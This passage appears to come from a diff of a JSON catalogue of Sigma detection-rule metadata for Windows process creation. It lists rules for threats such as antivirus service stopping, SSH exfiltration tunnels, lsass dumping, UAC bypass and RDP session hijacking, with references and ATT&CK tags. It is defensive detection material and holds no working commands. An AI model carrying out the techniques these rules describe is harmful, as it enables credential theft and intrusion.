"https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2021/03/09", + "filename": "proc_creation_win_susp_service_dir.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of 'Stop-Service' or 'Remove-Service' powershell cmdlet to disable AV services.\nAdversaries may disable security tools to avoid possible detection of their tools and activities by stopping antivirus service\n", + "uuid": "6783aa9e-0dc3-49d4-a94a-8b39c5fd700b", + "value": "Stop Or Remove Antivirus Service", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_modification.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2021/07/07", + "filename": "proc_creation_win_susp_service_modification.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects service path modification via the \"sc\" binary to a suspicious command or path", + "uuid": "138d3531-8793-4f50-a2cd-f291b2863d78", + "value": "Suspicious Service Path Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_path_modification.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2019/10/21", + "filename": "proc_creation_win_susp_service_path_modification.yml", + "author": "Victor Sergeev, oscd.community, Nasreddine Bencherchali (update)", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the usage of one of the the commands to stop services such as 'net', 'sc'...etc in order to stop critical or important windows services such as AV, Backup...etc. As seen being used in some ransomware scripts", + "uuid": "ce72ef99-22f1-43d4-8695-419dcb5d9330", + "value": "Suspicious Stop Windows Service", + "meta": { + "refs": [ + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg", + "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_stop.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1489" + ], + "creation_date": "2022/09/01", + "filename": "proc_creation_win_susp_service_stop.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrator or tools shutting down the services due to upgrade or removal purposes. If you experience some FP please consider adding filters to the parent process launching this command and not removing the entry" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322", + "uuid": "75578840-9526-4b2a-9462-af469a45e767", + "value": "Serv-U Exploitation CVE-2021-35211 by DEV-0322", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001", + "cve.2021.35211" + ], + "creation_date": "2021/07/14", + "filename": "proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious process pattern which could be a sign of an exploited Serv-U service", + "uuid": "58f4ea09-0fc2-4520-ba18-b85c540b0eaf", + "value": "Suspicious Serv-U Process Pattern", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_process_pattern.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555", + "cve.2021.35211" + ], + "creation_date": "2021/07/14", + "filename": "proc_creation_win_susp_servu_process_pattern.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate uses in which users or programs use the SSH service of Serv-U for remote command execution" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", + "uuid": "b2317cfa-4a47-4ead-b3ff-297438c0bc2d", + "value": "Suspicious Execution of SharpView Aka PowerView", + "meta": { + "refs": [ + "https://github.com/tevora-threat/SharpView/", + "https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sharpview.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049", + "attack.t1069.002", + "attack.t1482", + "attack.t1135", + "attack.t1033" + ], + "creation_date": "2021/12/10", + "filename": "proc_creation_win_susp_sharpview.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack", + "uuid": "d87bd452-6da1-456e-8155-7dc988157b7d", + "value": "Suspicious Usage Of ShellExec_RunDLL", + "meta": { + "refs": [ + "https://redcanary.com/blog/raspberry-robin/", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shellexec_rundll_usage.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/09/01", + "filename": "proc_creation_win_susp_shellexec_rundll_usage.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious shell spawned from Java host process (e.g. log4j exploitation)", + "uuid": "0d34ed8b-1c12-4ff2-828c-16fc860b766d", + "value": "Suspicious Shells Spawned by Java", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ], + "creation_date": "2021/12/17", + "filename": "proc_creation_win_susp_shell_spawn_by_java.yml", + "author": "Andreas Hunkeler (@Karneades), Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate calls to system binaries", + "Company specific internal usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)", + "uuid": "90fb5e62-ca1f-4e22-b42e-cc521874c938", + "value": "Suspicious Shells Spawn by Java Utility Keytool", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-december-2021", + "https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java_keytool.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ], + "creation_date": "2021/12/22", + "filename": "proc_creation_win_susp_shell_spawn_by_java_keytool.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious shell spawn from MSSQL process, this might be sight of RCE or SQL Injection", + "uuid": "869b9ca7-9ea2-4a5a-8325-e80e62f75445", + "value": "Suspicious Shells Spawn by SQL Server", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_mssql.yml" + ], + "tags": [ + "attack.t1505.003", + "attack.t1190", + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ], + "creation_date": "2020/12/11", + "filename": "proc_creation_win_susp_shell_spawn_from_mssql.yml", + "author": "FPT.EagleEye Team, wagga", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious processes including shells spawnd from WinRM host process", + "uuid": "5cc2cda8-f261-4d88-a2de-e9e193c86716", + "value": "Suspicious Processes Spawned by WinRM", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_from_winrm.yml" + ], + "tags": [ + "attack.t1190", + "attack.initial_access", + "attack.persistence", + "attack.privilege_escalation" + ], + "creation_date": "2021/05/20", + "filename": "proc_creation_win_susp_shell_spawn_from_winrm.yml", + "author": "Andreas Hunkeler (@Karneades), Markus Neis", + "level": "high", + "falsepositive": [ + "Legitimate WinRM usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects actions that clear the local ShimCache and remove forensic evidence", + "uuid": "b0524451-19af-4efa-a46f-562a977f792e", + "value": "ShimCache Flush", + "meta": { + "refs": [ + "https://medium.com/@blueteamops/shimcache-flush-89daff28d15e", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shimcache_flush.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2021/02/01", + "filename": "proc_creation_win_susp_shimcache_flush.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Use of the commandline to shutdown or reboot windows", + "uuid": "34ebb878-1b15-4895-b352-ca2eeb99b274", + "value": "Suspicious Execution of Shutdown", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shutdown.yml" + ], + "tags": [ + "attack.impact", + "attack.t1529" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_susp_shutdown.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Splwow64.exe process without any command line parameters", + "uuid": "1f1a8509-2cbb-44f5-8751-8e1571518ce2", + "value": "Suspicious Splwow64 Without Params", + "meta": { + "refs": [ + "https://twitter.com/sbousseaden/status/1429401053229891590?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_splwow64.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2021/08/23", + "filename": "proc_creation_win_susp_splwow64.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious print spool service (spoolsv.exe) child processes.", + "uuid": "dcdbc940-0bff-46b2-95f3-2d73f848e33b", + "value": "Suspicious Spool Service Child Process", + "meta": { + "refs": [ + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Exploits/Print%20Spooler%20RCE/Suspicious%20Spoolsv%20Child%20Process.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_spoolsv_child_processes.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2021/07/11", + "filename": "proc_creation_win_susp_spoolsv_child_processes.yml", + "author": "Justin C. (@endisphotic), @dreadphones (detection), Thomas Patzke (Sigma rule)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Possible Squirrel Packages Manager as Lolbin", + "uuid": "fa4b21c9-0057-4493-b289-2556416ae4d7", + "value": "Squirrel Lolbin", + "meta": { + "refs": [ + "http://www.hexacorn.com/blog/2019/03/30/sqirrel-packages-manager-as-a-lolbin-a-k-a-many-electron-apps-are-lolbins-by-default/", + "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_squirrel_lolbin.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2019/11/12", + "filename": "proc_creation_win_susp_squirrel_lolbin.yml", + "author": "Karneades / Markus Neis, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "1Clipboard", + "Beaker Browser", + "Caret", + "Collectie", + "Discord", + "Figma", + "Flow", + "Ghost", + "GitHub Desktop", + "GitKraken", + "Hyper", + "Insomnia", + "JIBO", + "Kap", + "Kitematic", + "Now Desktop", + "Postman", + "PostmanCanary", + "Rambox", + "Simplenote", + "Skype", + "Slack", + "SourceTree", + "Stride", + "Svgsus", + "WebTorrent", + "WhatsApp", + "WordPress.com", + "Atom", + "Gitkraken", + "Slack", + "Teams" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious SSH tunnel port forwarding to a local port", + "uuid": "327f48c1-a6db-4eb8-875a-f6981f1b0183", + "value": "Suspicious SSH Port Forwarding", + "meta": { + "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ssh_port_forward.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572", + "attack.lateral_movement", + "attack.t1021.001" + ], + "creation_date": "2022/10/12", + "filename": "proc_creation_win_susp_ssh_port_forward.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrative activity using a remote port forwarding to a local port" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execution of ssh.exe to perform data exfiltration and tunneling through RDP", + "uuid": "f7d7ebd5-a016-46e2-9c54-f9932f2d386d", + "value": "Suspicious SSH Usage RDP Tunneling", + "meta": { + "refs": [ + "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ssh_usage.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572" + ], + "creation_date": "2022/10/12", + "filename": "proc_creation_win_susp_ssh_usage.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious svchost process start", + "uuid": "01d2e2a1-5f09-44f7-9fc1-24faa7479b6d", + "value": "Suspicious Svchost Process", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_svchost.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.005" + ], + "creation_date": "2017/08/15", + "filename": "proc_creation_win_susp_svchost.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.", + "uuid": "16c37b52-b141-42a5-a3ea-bbe098444397", + "value": "Suspect Svchost Activity", + "meta": { + "refs": [ + "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_svchost_no_cli.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2019/12/28", + "filename": "proc_creation_win_susp_svchost_no_cli.yml", + "author": "David Burkett", + "level": "high", + "falsepositive": [ + "Rpcnet.exe / rpcnetp.exe which is a lojack style software. https://www.blackhat.com/docs/us-14/materials/us-14-Kamlyuk-Kamluk-Computrace-Backdoor-Revisited.pdf" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious sysprep process start with AppData folder as target (as used by Trojan Syndicasec in Thrip report by Symantec)", + "uuid": "d5b9ae7a-e6fc-405e-80ff-2ff9dcc64e7e", + "value": "Sysprep on AppData Folder", + "meta": { + "refs": [ + "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", + "https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysprep_appdata.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059" + ], + "creation_date": "2018/06/22", + "filename": "proc_creation_win_susp_sysprep_appdata.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "False positives depend on scripts and administrative tools used in the monitored environment" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"systeminfo\" command to retrieve information", + "uuid": "0ef56343-059e-4cb6-adc1-4c3c967c5e46", + "value": "Suspicious Execution of Systeminfo", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_systeminfo.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1082" + ], + "creation_date": "2022/01/01", + "filename": "proc_creation_win_susp_systeminfo.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)", + "uuid": "2617e7ed-adb7-40ba-b0f3-8f9945fe6c09", + "value": "Suspicious SYSTEM User Process Creation", + "meta": { + "refs": [ + "Internal Research", + "https://tools.thehacker.recipes/mimikatz/modules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml" + ], + "tags": "No established tags", + "creation_date": "2021/12/20", + "filename": "proc_creation_win_susp_system_user_anomaly.yml", + "author": "Florian Roth (rule), David ANDRE (additional keywords)", + "level": "high", + "falsepositive": [ + "Administrative activity", + "Scripts and administrative tools used in the monitored environment", + "Monitoring activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Access to Domain Group Policies stored in SYSVOL", + "uuid": "05f3c945-dcc8-4393-9f3d-af65077a8f86", + "value": "Suspicious SYSVOL Domain Group Policy Access", + "meta": { + "refs": [ + "https://adsecurity.org/?p=2288", + "https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysvol_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.006" + ], + "creation_date": "2018/04/09", + "filename": "proc_creation_win_susp_sysvol_access.yml", + "author": "Markus Neis, Jonhnathan Ribeiro, oscd.community", + "level": "medium", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders", + "uuid": "554601fb-9b71-4bcc-abf4-21a611be4fde", + "value": "Suspicious Recursif Takeown", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md#atomic-test-1---take-ownership-using-takeown-utility", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_takeown.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.001" + ], + "creation_date": "2022/01/30", + "filename": "proc_creation_win_susp_takeown.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Scripts created by developers and admins", + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects shell32.dll executing a DLL in a suspicious directory", + "uuid": "32b96012-7892-429e-b26c-ac2bf46066ff", + "value": "Shell32 DLL Execution in Suspicious Directory", + "meta": { + "refs": [ + "https://www.group-ib.com/resources/threat-research/red-curl-2.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_target_location_shell32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution", + "attack.t1218.011" + ], + "creation_date": "2021/11/24", + "filename": "proc_creation_win_susp_target_location_shell32.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.", + "uuid": "86085955-ea48-42a2-9dd3-85d4c36b167d", + "value": "Suspicious Execution of Taskkill", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1489/T1489.md#atomic-test-3---windows---stop-service-by-killing-process", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskkill.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ], + "creation_date": "2021/12/26", + "filename": "proc_creation_win_susp_taskkill.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network", + "uuid": "63332011-f057-496c-ad8d-d2b6afb27f96", + "value": "Suspicious Tasklist Discovery Command", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-2---process-discovery---tasklist", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tasklist_command.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1057" + ], + "creation_date": "2021/12/11", + "filename": "proc_creation_win_susp_tasklist_command.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Administrator, hotline ask to user" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM", + "uuid": "9fff585c-c33e-4a86-b3cd-39312079a65f", + "value": "Taskmgr as LOCAL_SYSTEM", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskmgr_localsystem.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2018/03/18", + "filename": "proc_creation_win_susp_taskmgr_localsystem.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a process from Windows task manager", + "uuid": "3d7679bd-0c00-440c-97b0-3f204273e6c7", + "value": "Taskmgr as Parent", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskmgr_parent.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ], + "creation_date": "2018/03/13", + "filename": "proc_creation_win_susp_taskmgr_parent.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects DLL injection and execution via LOLBAS - Tracker.exe", + "uuid": "148431ce-4b70-403d-8525-fcc2993f29ea", + "value": "DLL Injection with Tracker.exe", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tracker_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1055.001" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_susp_tracker_execution.yml", + "author": "Avneet Singh @v3t0_, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory", + "uuid": "4c0aaedc-154c-4427-ada0-d80ef9c9deb6", + "value": "Process Access via TrolleyExpress Exclusion", + "meta": { + "refs": [ + "https://twitter.com/_xpn_/status/1491557187168178176", + "https://www.youtube.com/watch?v=Ie831jF0bb0", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_trolleyexpress_procdump.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011", + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/02/10", + "filename": "proc_creation_win_susp_trolleyexpress_procdump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a tscon.exe start as LOCAL SYSTEM", + "uuid": "9847f263-4a81-424f-970c-875dab15b79b", + "value": "Suspicious TSCON Start as SYSTEM", + "meta": { + "refs": [ + "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_localsystem.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2018/03/17", + "filename": "proc_creation_win_susp_tscon_localsystem.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious RDP session redirect using tscon.exe", + "uuid": "f72aa3e8-49f9-4c7d-bd74-f8ab84ff9bbb", + "value": "Suspicious RDP Redirect Using TSCON", + "meta": { + "refs": [ + "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_rdp_redirect.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1563.002", + "attack.t1021.001", + "car.2013-07-002" + ], + "creation_date": "2018/03/17", + "filename": "proc_creation_win_susp_tscon_rdp_redirect.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects indicators of a UAC bypass method by mocking directories", + "uuid": "4ac47ed3-44c2-4b1f-9d51-bf46e8914126", + "value": "TrustedPath UAC Bypass Pattern", + "meta": { + "refs": [ + "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e", + "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", + "https://github.com/netero1010/TrustedPath-UACBypass-BOF", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_uac_bypass_trustedpath.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2021/08/27", + "filename": "proc_creation_win_susp_uac_bypass_trustedpath.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious child process of userinit", + "uuid": "b655a06a-31c0-477a-95c2-3726b83d649d", + "value": "Suspicious Userinit Child Process", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1139811587760562176", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_userinit_child.yml" + ], + "tags": [ + "attack.defense_evasion", 